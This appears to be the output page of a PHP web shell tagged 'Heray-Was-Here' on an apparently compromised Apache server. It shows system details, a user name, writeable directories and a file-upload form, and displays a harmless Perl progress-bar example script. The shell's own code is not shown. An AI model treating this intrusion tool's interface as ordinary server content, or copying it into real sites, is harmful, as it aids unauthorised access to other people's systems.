Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/share/doc/perl-Term-ProgressBar/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/perl-Term-ProgressBar/examples/powers4
#!/usr/bin/perl
use strict;
use warnings;

use Term::ProgressBar 2.00;

use constant MAX => 1_000_000;

my $max = int($ARGV[0] || MAX);
my $progress = Term::ProgressBar->new({
	name => 'Powers',
	count => $max,
	ETA => 'linear',
});
#$progress->minor(0);
my $next_update = 0;

for (0..$max) {
  my $is_power = 0;
  for(my $i = 0; 2**$i <= $_; $i++) {
    $is_power = 1
      if 2**$i == $_;
  }
sleep 1
if $_ % 4 == 0;

  $next_update = $progress->update($_)
    if $_ > $next_update;
}
$progress->update($max)
    if $max >= $next_update;

Hry